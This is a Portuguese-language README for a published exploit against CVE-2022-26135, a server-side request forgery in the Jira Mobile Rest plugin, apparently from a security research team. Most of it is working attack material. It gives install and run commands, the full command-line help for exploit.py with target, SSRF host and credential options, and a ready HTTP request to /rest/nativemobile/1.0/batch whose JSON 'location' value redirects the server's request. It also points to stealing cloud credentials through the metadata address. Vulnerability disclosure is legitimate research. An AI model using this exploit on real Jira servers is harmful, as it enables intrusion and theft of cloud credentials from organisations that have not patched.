
Código de exploit para SSRF do plugin Jira Mobile Rest (CVE-2022-26135)
O Assetnote mapeia automaticamente seus ativos externos e os monitora em busca de mudanças e problemas de segurança para ajudar a prevenir violações graves.
Esta pesquisa foi realizada pela equipe de Pesquisa de Segurança da Assetnote.
Você pode ler mais sobre nosso produto e nossa equipe em https://assetnote.io.
A postagem no blog detalhando as etapas da descoberta dessa vulnerabilidade pode ser encontrada aqui.
Jira Core e Jira Service Desk são vulneráveis a server-side request forgery após autenticação. Em alguns casos, é possível aproveitar registros abertos no Jira Core ou Jira Service Desk para explorar essa falha de server-side request forgery sem ter credenciais conhecidas.
A vulnerabilidade SSRF permite que atacantes enviem requisições HTTP usando qualquer método, cabeçalhos e corpo HTTP para URLs arbitrárias. Quando o Jira é implantado em um ambiente de nuvem, um atacante pode aproveitar essa cadeia de exploração para obter credenciais da nuvem ou outras informações sensíveis através do endereço IP de metadados.
De acordo com o aviso da Atlassian, consulte o seguinte artigo da base de conhecimento para confirmar se você está executando uma versão de software afetada: https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html
pip3 install -r requirements.txt
e então você pode usar o exploit usando:
python3 exploit.py
Ajuda:
usage: exploit.py [-h] --target TARGET --ssrf SSRF --mode MODE [--software SOFTWARE] [--username USERNAME] [--email EMAIL] [--password PASSWORD]
optional arguments:
-h, --help show this help message and exit
--target TARGET i.e. http://re.local:8090
--ssrf SSRF i.e. example.com (no protocol pls)
--mode MODE i.e. manual or automatic - manual mode you need to provide user auth info
--software SOFTWARE i.e. jira or jsd - only needed for manual mode
--username USERNAME i.e. admin - only needed for manual jira mode
--email EMAIL i.e. [email protected] - only needed for manual jira service desk mode
--password PASSWORD i.e. testing123 - only needed for manual mode
Se você já possui credenciais para Jira / Jira Service Desk, defina o --mode como manual e o argumento --software como jira ou jsd.
A seguinte requisição HTTP pode ser usada para reproduzir este problema, uma vez autenticado na instância do Jira:
POST /rest/nativemobile/1.0/batch HTTP/2
Host: issues.example.com
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Origin: https://issues.example.com
Referer: https://issues.example.com/plugins/servlet/desk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 63
{"requests":[{"method":"GET","location":"@example.com"}]}